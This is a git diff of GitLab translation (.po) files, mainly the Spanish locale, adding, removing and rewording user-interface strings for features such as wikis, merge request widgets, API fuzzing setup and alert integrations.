-msgid "To get started, link this page to your Jaeger server, or find out how to %{link_start_tag}install Jaeger%{link_end_tag}"
-msgstr ""
-
msgid "To get started, please enter your Gitea Host URL and a %{link_to_personal_token}."
msgstr ""
@@ -31268,7 +32023,7 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger and easily view tracing from GitLab, link the %{link} page to your server"
+msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
msgstr ""
msgid "To personalize your GitLab experience, we'd like to know a bit more about you. We won't share this information with anyone."
@@ -31373,6 +32128,9 @@ msgstr ""
msgid "Toggle focus mode"
msgstr ""
+msgid "Toggle keyboard shortcuts help dialog"
+msgstr ""
+
msgid "Toggle navigation"
msgstr ""
@@ -31570,10 +32328,10 @@ msgstr ""
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by clicking on your avatar and choosing 'Start a free trial'"
+msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
msgstr ""
-msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you are enjoying GitLab %{planName}. To continue using GitLab %{planName} after your trial ends, you will need to buy a subscription. You can also choose GitLab Premium if its features are sufficient for your needs."
+msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you’re enjoying the features of GitLab %{planName}. To keep those features after your trial ends, you’ll need to buy a subscription. (You can also choose GitLab Premium if it meets your needs.)"
msgstr ""
msgid "Trial|Company name"
@@ -31708,9 +32466,6 @@ msgstr ""
msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
msgstr ""
-msgid "Turn on Service Desk"
-msgstr ""
-
msgid "Turn on usage ping"
msgstr ""
@@ -31765,6 +32520,12 @@ msgstr ""
msgid "URL"
msgstr ""
+msgid "URL cannot be blank"
+msgstr ""
+
+msgid "URL is invalid"
+msgstr ""
+
msgid "URL is required"
msgstr ""
@@ -32167,7 +32928,7 @@ msgstr ""
msgid "Upgrade your plan to enable this feature of the Jira Integration."
msgstr ""
-msgid "Upgrade your plan to improve Merge Requests."
+msgid "Upgrade your plan to improve merge requests."
msgstr ""
msgid "Upload"
@@ -32176,6 +32937,9 @@ msgstr ""
msgid "Upload CSV file"
msgstr ""
+msgid "Upload File"
+msgstr ""
+
msgid "Upload License"
msgstr ""
@@ -32272,6 +33036,9 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|Other Storage"
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
@@ -32470,9 +33237,6 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
-msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
-msgstr ""
-
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
@@ -32524,6 +33288,9 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} was removed from %{group}."
+msgstr ""
+
msgid "User ID"
msgstr ""
@@ -32569,7 +33336,10 @@ msgstr ""
msgid "User was successfully created."
msgstr ""
-msgid "User was successfully removed from group and any subresources."
+msgid "User was successfully removed from group and any subgroups and projects."
+msgstr ""
+
+msgid "User was successfully removed from group."
msgstr ""
msgid "User was successfully removed from project."
@@ -32797,9 +33567,6 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
-msgid "Users requesting access to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Users were successfully added."
msgstr ""
@@ -32866,7 +33633,22 @@ msgstr ""
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
-msgid "ValueStreamAnalytics|%{days}d"
+msgid "ValueStreamAnalytics|%{value}M"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}d"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}h"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}m"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}w"
+msgstr ""
+
+msgid "ValueStreamAnalytics|&lt;1m"
msgstr ""
msgid "ValueStreamAnalytics|Median time from first commit to issue closed."
@@ -32875,6 +33657,12 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStreamEvent|Start"
+msgstr ""
+
+msgid "ValueStreamEvent|Stop"
+msgstr ""
+
msgid "ValueStream|The Default Value Stream cannot be deleted"
msgstr ""
@@ -33026,9 +33814,15 @@ msgstr ""
msgid "View log"
msgstr ""
+msgid "View logs"
+msgstr ""
+
msgid "View merge request"
msgstr ""
+msgid "View on %{url}"
+msgstr ""
+
msgid "View open merge request"
msgstr "Vidi la malfermitan peton pri kunfando"
@@ -33056,6 +33850,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the jobs grouped into stages"
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -33065,6 +33862,9 @@ msgstr ""
msgid "View users statistics"
msgstr ""
+msgid "View what jobs are needed for a job to run"
+msgstr ""
+
msgid "Viewed"
msgstr ""
@@ -33470,15 +34270,30 @@ msgstr ""
msgid "WebAuthn only works with HTTPS-enabled websites. Contact your administrator for more details."
msgstr ""
+msgid "WebIDE|Fork project"
+msgstr ""
+
+msgid "WebIDE|Go to fork"
+msgstr ""
+
msgid "WebIDE|Merge request"
msgstr ""
+msgid "WebIDE|This project does not accept unsigned commits."
+msgstr ""
+
+msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgstr ""
+
msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
msgstr ""
+msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgstr ""
+
msgid "Webhook"
msgstr ""
@@ -33653,6 +34468,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is repository mirroring?"
+msgstr ""
+
msgid "What is squashing?"
msgstr ""
@@ -33751,9 +34569,6 @@ msgstr ""
msgid "WikiClone|Start Gollum and edit locally"
msgstr ""
-msgid "WikiEditPageTip|Tip: You can move this page by adding the path to the beginning of the title."
-msgstr ""
-
msgid "WikiEdit|There is already a page with the same title in that path."
msgstr ""
@@ -33826,34 +34641,49 @@ msgstr ""
msgid "WikiHistoricalPage|most recent version"
msgstr ""
-msgid "WikiMarkdownDocs|More examples are in the %{docs_link}"
+msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
+msgstr ""
+
+msgid "WikiPageConfirmDelete|Delete page"
msgstr ""
-msgid "WikiMarkdownDocs|documentation"
+msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
msgstr ""
-msgid "WikiMarkdownTip|To link to a (new) page, simply type %{link_example}"
+msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
-msgid "WikiNewPageTip|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgid "WikiPage|Commit message"
msgstr ""
-msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
+msgid "WikiPage|Content"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page"
+msgid "WikiPage|Create %{pageTitle}"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
+msgid "WikiPage|Create page"
msgstr ""
-msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
+msgid "WikiPage|Format"
msgstr ""
-msgid "WikiPageCreate|Create %{pageTitle}"
+msgid "WikiPage|Page title"
msgstr ""
-msgid "WikiPageEdit|Update %{pageTitle}"
+msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
+msgstr ""
+
+msgid "WikiPage|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgstr ""
+
+msgid "WikiPage|Title"
+msgstr ""
+
+msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
+msgstr ""
+
+msgid "WikiPage|Update %{pageTitle}"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -33865,9 +34695,6 @@ msgstr ""
msgid "Wiki|Create New Page"
msgstr ""
-msgid "Wiki|Create page"
-msgstr ""
-
msgid "Wiki|Created date"
msgstr ""
@@ -33880,9 +34707,6 @@ msgstr ""
msgid "Wiki|Page history"
msgstr ""
-msgid "Wiki|Page title"
-msgstr ""
-
msgid "Wiki|Page version"
msgstr ""
@@ -33943,6 +34767,9 @@ msgstr ""
msgid "Write a comment…"
msgstr ""
+msgid "Write a description or drag your files here…"
+msgstr ""
+
msgid "Write milestone description..."
msgstr ""
@@ -34099,6 +34926,12 @@ msgstr ""
msgid "You can create a new one or check them in your %{pat_link_start}personal access tokens%{pat_link_end} settings"
msgstr ""
+msgid "You can create a new one or check them in your %{ssh_key_link_start}SSH keys%{ssh_key_link_end} settings."
+msgstr ""
+
+msgid "You can create a new one or check them in your SSH keys settings %{ssh_key_link}."
+msgstr ""
+
msgid "You can create a new one or check them in your personal access tokens settings %{pat_link}"
msgstr ""
@@ -34240,6 +35073,9 @@ msgstr ""
msgid "You do not have permission to access deployment frequencies"
msgstr ""
+msgid "You do not have permission to access dora metrics."
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -34324,9 +35160,6 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
-msgid "You have insufficient permissions to create an on-call rotation for this project"
-msgstr ""
-
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
@@ -34363,12 +35196,6 @@ msgstr ""
msgid "You have successfully purchased a %{plan} plan subscription for %{seats}. You’ll receive a receipt via email."
msgstr ""
-msgid "You haven't added any issues to your project yet"
-msgstr ""
-
-msgid "You haven't selected any issues yet"
-msgstr ""
-
msgid "You left the \"%{membershipable_human_name}\" %{source_type}."
msgstr ""
@@ -34402,7 +35229,7 @@ msgstr ""
msgid "You must select a stack for configuring your cloud provider. Learn more about"
msgstr ""
-msgid "You must set up incoming email before it becomes active."
+msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
msgid "You must upload a file with the same file name when dropping onto an existing design."
@@ -34417,9 +35244,6 @@ msgstr ""
msgid "You need permission."
msgstr "VI bezonas permeson."
-msgid "You need to be logged in."
-msgstr ""
-
msgid "You need to register a two-factor authentication app before you can set up a device."
msgstr ""
@@ -34603,12 +35427,18 @@ msgstr ""
msgid "Your Public Email will be displayed on your public profile."
msgstr ""
+msgid "Your SSH key has expired"
+msgstr ""
+
msgid "Your SSH key was deleted"
msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
+msgid "Your SSH keys with the following fingerprints has expired:"
+msgstr ""
+
msgid "Your To-Do List"
msgstr ""
@@ -34729,6 +35559,9 @@ msgstr ""
msgid "Your license is valid from"
msgstr ""
+msgid "Your license was successfully synced."
+msgstr ""
+
msgid "Your license will be included in your GitLab backup and will survive upgrades, so in normal usage you should never need to re-upload your %{code_open}.gitlab-license%{code_close} file."
msgstr ""
@@ -34822,7 +35655,7 @@ msgstr ""
msgid "[No reason]"
msgstr ""
-msgid "[Unchanged]"
+msgid "[Redacted]"
msgstr ""
msgid "`end_time` should not exceed one month after `start_time`"
@@ -34929,6 +35762,9 @@ msgstr ""
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't include: %{invalid_storages}"
+msgstr ""
+
msgid "cannot be a date in the past"
msgstr ""
@@ -35231,6 +36067,15 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user} in Jira"
+msgstr ""
+
msgid "created %{timeAgo}"
msgstr ""
@@ -35415,6 +36260,9 @@ msgstr ""
msgid "http:"
msgstr ""
+msgid "http://www.example.com"
+msgstr ""
+
msgid "https://your-bitbucket-server"
msgstr ""
@@ -35585,7 +36433,7 @@ msgstr ""
msgid "manual"
msgstr ""
-msgid "math|The math in this entry is taking too long to render and may not be displayed as expected. For performance reasons, math blocks are also limited to %{maxChars} characters. Consider splitting up large formulae, splitting math blocks among multiple entries, or using an image instead."
+msgid "math|Displaying this math block may cause performance issues on this page"
msgstr ""
msgid "math|There was an error rendering this math block"
@@ -35620,13 +36468,10 @@ msgstr ""
msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetNothingToMerge|Currently there are no changes in this merge request's source branch. Please push new commits or use a different branch."
-msgstr ""
-
-msgid "mrWidgetNothingToMerge|Interested parties can even contribute by pushing commits if they want to."
+msgid "mrWidgetNothingToMerge|This merge request contains no changes."
msgstr ""
-msgid "mrWidgetNothingToMerge|Merge requests are a place to propose changes you have made to a project and discuss those changes with others."
+msgid "mrWidgetNothingToMerge|Use merge requests to propose changes to your project and discuss them with your team. To make changes, push a commit or edit this merge request to use a different branch. With %{linkStart}CI/CD%{linkEnd}, automatically test your changes before merging."
msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
@@ -35740,9 +36585,6 @@ msgstr ""
msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
msgstr ""
-msgid "mrWidget|If the %{branch} branch exists in your local repository, you can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -35893,18 +36735,12 @@ msgstr ""
msgid "mrWidget|You can merge after removing denied licenses"
msgstr ""
-msgid "mrWidget|You can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
msgid "mrWidget|branch does not exist."
msgstr ""
-msgid "mrWidget|command line"
-msgstr ""
-
msgid "mrWidget|into"
msgstr ""
@@ -35935,9 +36771,6 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must be later than active period start"
-msgstr ""
-
msgid "must contain only valid frameworks"
msgstr ""
@@ -36004,15 +36837,6 @@ msgstr ""
msgid "open issue"
msgstr ""
-msgid "opened %{timeAgoString} by %{email} via %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user} in Jira"
-msgstr ""
-
msgid "opened %{timeAgo}"
msgstr ""
@@ -36290,9 +37114,6 @@ msgstr ""
msgid "to join %{source_name}"
msgstr ""
-msgid "to list"
-msgstr ""
-
msgid "toggle collapse"
msgstr ""
@@ -36338,6 +37159,12 @@ msgstr ""
msgid "v%{version} published %{timeAgo}"
msgstr ""
+msgid "value for '%{storage}' must be an integer"
+msgstr ""
+
+msgid "value for '%{storage}' must be between 0 and 100"
+msgstr ""
+
msgid "verify ownership"
msgstr ""
diff --git a/locale/es/gitlab.po b/locale/es/gitlab.po
index 9e08d2ed33c..6824b950cb0 100644
--- a/locale/es/gitlab.po
+++ b/locale/es/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: es-ES\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-03-05 23:53\n"
+"PO-Revision-Date: 2021-04-02 00:14\n"
-msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
+msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
msgstr ""
msgid " %{start} to %{end}"
@@ -120,6 +120,11 @@ msgid_plural "%d changed files"
msgstr[0] "%d archivo modificado"
msgstr[1] "%d archivos modificados"
+msgid "%d character remaining"
+msgid_plural "%d characters remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d child epic"
msgid_plural "%d child epics"
msgstr[0] "%d tarea épica secundaria"
@@ -203,6 +208,11 @@ msgid_plural "%d failed security jobs"
msgstr[0] ""
msgstr[1] ""
+msgid "%d file"
+msgid_plural "%d files"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d fixed test result"
msgid_plural "%d fixed test results"
msgstr[0] "%d solucionado el resultado de la prueba"
@@ -392,6 +402,9 @@ msgstr "Hilo de %{authorsName}"
msgid "%{board_target} not found"
msgstr "%{board_target} no encontrado"
+msgid "%{codeStart}needs:%{codeEnd} relationships"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -404,6 +417,11 @@ msgstr "%{commit_author_link} escribió %{commit_timeago}"
msgid "%{completedCount} completed weight"
msgstr ""
+msgid "%{completedCount} of %{count} task completed"
+msgid_plural "%{completedCount} of %{count} tasks completed"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{completedWeight} of %{totalWeight} weight completed"
msgstr "%{completedWeight} de %{totalWeight} del peso completado"
@@ -430,19 +448,9 @@ msgstr "%{count} aprobaciones de %{name}"
msgid "%{count} files touched"
msgstr "%{count} archivos modificados"
-msgid "%{count} issue selected"
-msgid_plural "%{count} issues selected"
-msgstr[0] "%{count} incidencias seleccionadas"
-msgstr[1] "%{count} incidencias seleccionadas"
-
msgid "%{count} items per page"
msgstr ""
-msgid "%{count} merge request selected"
-msgid_plural "%{count} merge requests selected"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{count} more"
msgstr "%{count} más"
@@ -537,7 +545,7 @@ msgstr "miembros del grupo %{group_name}"
msgid "%{group_name} uses group managed accounts. You need to create a new GitLab account which will be managed by %{group_name}."
msgstr "%{group_name} utiliza cuentas administradas de grupo. Debe crear una nueva cuenta de GitLab que será administrada por %{group_name}."
-msgid "%{group_name}&%{epic_iid} &middot; opened %{epic_created} by %{author}"
+msgid "%{group_name}&%{epic_iid} &middot; created %{epic_created} by %{author}"
msgstr ""
msgid "%{hook_type} was deleted"
@@ -930,6 +938,9 @@ msgstr "%{total} advertencias encontradas: mostrando la primera %{warningsDispla
msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
msgstr "%{usage_ping_link_start}Más información%{usage_ping_link_end} acerca de lo que se comparte en GitLab Inc."
+msgid "%{userLinkStart}%{user}%{linkEnd} created a %{mrLinkStart}merge request%{linkEnd}:"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1063,6 +1074,9 @@ msgstr[1] "+%d más"
msgid "+%{approvers} more approvers"
msgstr "+%{approvers} aprobadores más"
+msgid "+%{extra} more"
+msgstr ""
+
msgid "+%{more_assignees_count}"
msgstr "+%{more_assignees_count}"
@@ -1143,6 +1157,11 @@ msgid_plural "%d days"
msgstr[0] "1 día"
msgstr[1] "%d días"
+msgid "1 day remaining"
+msgid_plural "%d days remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 deploy key"
msgid_plural "%d deploy keys"
msgstr[0] "1 clave de despliegue"
@@ -1163,6 +1182,16 @@ msgid_plural "%d hours"
msgstr[0] "1 hora"
msgstr[1] "%d horas"
+msgid "1 issue selected"
+msgid_plural "%d issues selected"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 merge request selected"
+msgid_plural "%d merge request selected"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 merged merge request"
msgid_plural "%{merge_requests} merged merge requests"
msgstr[0] ""
@@ -1173,6 +1202,11 @@ msgid_plural "%d minutes"
msgstr[0] "1 minuto"
msgstr[1] "%d minutos"
+msgid "1 month remaining"
+msgid_plural "%d months remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 open issue"
msgid_plural "%{issues} open issues"
msgstr[0] "1 incidencia abierta"
@@ -1198,6 +1232,16 @@ msgid_plural "%{num} users"
msgstr[0] "1 usuario"
msgstr[1] "%{num} usuarios"
+msgid "1 week remaining"
+msgid_plural "%d weeks remaining"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 year remaining"
+msgid_plural "%d years remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1-9 contributions"
msgstr "1-9 contribuciones"
@@ -1315,9 +1359,6 @@ msgstr "No se encontró un archivo."
msgid "A file with '%{file_name}' already exists in %{branch} branch"
msgstr "Ya existe un archivo con '%{file_name}' en %{branch} rama"
-msgid "A fork is a copy of a project."
-msgstr ""
-
msgid "A group is a collection of several projects"
msgstr "Un grupo es una colección de varios proyectos"
@@ -1327,13 +1368,10 @@ msgstr "Un grupo representa a su organización en GitLab. Los grupos que le perm
msgid "A job artifact is an archive of files and directories saved by a job when it finishes."
msgstr ""
-msgid "A label list displays issues with the selected label."
-msgstr ""
-
msgid "A limit of %{ci_project_subscriptions_limit} subscriptions to or from a project applies."
msgstr ""
-msgid "A maximum of %{count} participants can be added"
+msgid "A management, operational, or technical control (that is, safeguard or countermeasure) employed by an organization that provides equivalent or comparable protection for an information system."
msgstr ""
msgid "A member of the abuse team will review your report as soon as possible."
@@ -1408,9 +1446,6 @@ msgstr ""
msgid "A title is required"
msgstr "Se requiere un título"
-msgid "A user can only participate in a rotation once"
-msgstr "Un usuario sólo puede participar en una rotación una vez"
-
msgid "A user with write access to the source branch selected this option"
msgstr "Un usuario con acceso de escritura a la rama origen seleccionó esta opción"
@@ -1429,13 +1464,25 @@ msgstr "Ayuda de la API"
msgid "API Token"
msgstr "Token del API"
-msgid "APIFuzzing|API Fuzzing Configuration"
+msgid "API key"
msgstr ""
-msgid "APIFuzzing|Authentication is handled by providing HTTP basic authentication token as a header or cookie. %{linkStart}More information%{linkEnd}."
+msgid "API version"
msgstr ""
-msgid "APIFuzzing|Base URL of API fuzzing target."
+msgid "APIFuzzing|$VariableWithPassword"
+msgstr ""
+
+msgid "APIFuzzing|$VariableWithUsername"
+msgstr ""
+
+msgid "APIFuzzing|/folder/example_file.json"
+msgstr ""
+
+msgid "APIFuzzing|API Fuzzing Configuration"
+msgstr ""
+
+msgid "APIFuzzing|Base URL of API testing target. For example, http://www.example.com."
msgstr ""
msgid "APIFuzzing|Choose a method"
@@ -1447,6 +1494,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
msgstr ""
+msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
msgstr ""
@@ -1459,16 +1509,19 @@ msgstr ""
msgid "APIFuzzing|Enable authentication"
msgstr ""
-msgid "APIFuzzing|Ex: $TestPassword"
+msgid "APIFuzzing|Enter the name of the variable containing the password. For example, $VariableWithPassword."
+msgstr ""
+
+msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: $TestUsername"
+msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
msgstr ""
msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.json"
+msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
@@ -1477,16 +1530,16 @@ msgstr ""
msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Instead of entering the password directly, enter the key of the CI variable set to the password."
+msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
-msgid "APIFuzzing|Instead of entering the username directly, enter the key of the CI variable set to the username."
+msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Make sure your credentials are secured"
+msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
msgstr ""
-msgid "APIFuzzing|Password for basic authentication"
+msgid "APIFuzzing|Predefined profiles"
msgstr ""
msgid "APIFuzzing|Scan mode"
@@ -1519,9 +1572,6 @@ msgstr ""
msgid "APIFuzzing|Username for basic authentication"
msgstr ""
-msgid "APIFuzzing|We recommend that you review the JSON specifications file before adding it to a repository."
-msgstr ""
-
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
@@ -1699,6 +1749,9 @@ msgstr "Cuenta y límite"
msgid "Account: %{account}"
msgstr "Cuenta: %{account}"
+msgid "Action"
+msgstr ""
+
msgid "Action to take when receiving an alert. %{docsLink}"
msgstr ""
@@ -1729,11 +1782,6 @@ msgstr "Añadir"
msgid "Add \"%{value}\""
msgstr "Añadir \"%{value}\""
-msgid "Add %d issue"
-msgid_plural "Add %d issues"
-msgstr[0] "Añadir %d incidencia"
-msgstr[1] "Añadir %d incidencias"
-
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
@@ -1779,6 +1827,9 @@ msgstr "Añadir una clave GPG"
msgid "Add a Grafana button in the admin sidebar, monitoring section, to access a variety of statistics on the health and performance of GitLab."
msgstr "Agrega un botón de Grafana en la sección de monitorización que se encuentra en el menú de administración, para poder acceder a una variedad de estadísticas sobre el estado y el rendimiento de GitLab."
+msgid "Add a Jaeger URL to replace this page with a link to your Jaeger server. You first need to %{link_start_tag}install Jaeger%{link_end_tag}."
+msgstr ""
+
msgid "Add a bullet list"
msgstr "Añadir una lista de viñetas"
@@ -1854,6 +1905,9 @@ msgstr "Añadir comentario ahora"
msgid "Add comment to design"
msgstr ""
+msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1881,9 +1935,6 @@ msgstr "Añadir encabezado y pie de página a los correos electrónicos. Tenga e
msgid "Add image comment"
msgstr "Añadir comentario a la imagen"
-msgid "Add issues"
-msgstr "Añadir Incidencia"
-
msgid "Add italic text"
msgstr "Añadir texto en cursiva"
@@ -1911,6 +1962,9 @@ msgstr "Agregar o restar tiempo consumido"
msgid "Add previously merged commits"
msgstr ""
+msgid "Add projects"
+msgstr ""
+
msgid "Add reaction"
msgstr "Añadir reacción"
@@ -1929,6 +1983,9 @@ msgstr "Añadir hook del sistema"
msgid "Add to Slack"
msgstr "Añadir a Slack"
+msgid "Add to board"
+msgstr ""
+
msgid "Add to epic"
msgstr "Agregar a la tarea épica"
@@ -2022,6 +2079,9 @@ msgstr "Minutos adicionales"
msgid "Additional text"
msgstr "Texto adicional"
+msgid "Address"
+msgstr ""
+
msgid "Adds"
msgstr "Añadir"
@@ -2049,6 +2109,9 @@ msgstr ""
msgid "Admin Area"
msgstr "Ãrea de administración"
+msgid "Admin Mode"
+msgstr ""
+
msgid "Admin Note"
msgstr "Nota del administrador"
@@ -2190,9 +2253,6 @@ msgstr "Está a punto de detener todos los trabajos. Esto detendrá todos los tr
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr "Se ha producido un error al cargar las estadísticas. Por favor, inténtalo de nuevo"
-msgid "AdminNote|Note"
-msgstr "Nota"
-
msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources including issues, merge requests, etc.. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr "Está a punto de eliminar permanentemente el proyecto %{projectName}, su repositorio y todos los recursos relacionados, esto inclueye las incidencias, los merge requests, así como también los grupos, etc. Una vez confirme y presione sobre %{strong_start}Eliminar proyecto%{strong_end},no se puede deshacer esta acción ni recuperar los datos del proyecto eliminado."
@@ -2628,6 +2688,12 @@ msgstr "‫Administración"
msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
msgstr ""
+msgid "Admin|Admin notes"
+msgstr ""
+
+msgid "Admin|Note"
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -2675,6 +2741,9 @@ msgid_plural "Alerts"
msgstr[0] "Alerta"
msgstr[1] "Alertas"
+msgid "Alert integrations"
+msgstr ""
+
msgid "AlertManagement|Acknowledged"
msgstr "Confirmado"
@@ -2837,6 +2906,12 @@ msgstr ""
msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
msgstr ""
+msgid "AlertSettings|A URL and authorization key have been created for your integration. You will need them to setup a webhook and authorize your endpoint to send alerts to GitLab."
+msgstr ""
+
+msgid "AlertSettings|A webhook URL and authorization key will be generated for the integration. Both will be visible after saving the integration in the “View credentials†tab."
+msgstr ""
+
msgid "AlertSettings|Add new integration"
msgstr ""
@@ -2852,40 +2927,46 @@ msgstr ""
msgid "AlertSettings|Delete integration"
msgstr ""
+msgid "AlertSettings|Edit integration"
+msgstr ""
+
msgid "AlertSettings|Edit payload"
msgstr ""
+msgid "AlertSettings|Enable integration"
+msgstr ""
+
msgid "AlertSettings|Enter integration name"
msgstr "Ajustes de Alertas|Introduce tu nombre de integración"
-msgid "AlertSettings|External Prometheus"
-msgstr ""
-
msgid "AlertSettings|HTTP Endpoint"
msgstr ""
msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
msgstr ""
-msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
+msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click the \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
msgstr ""
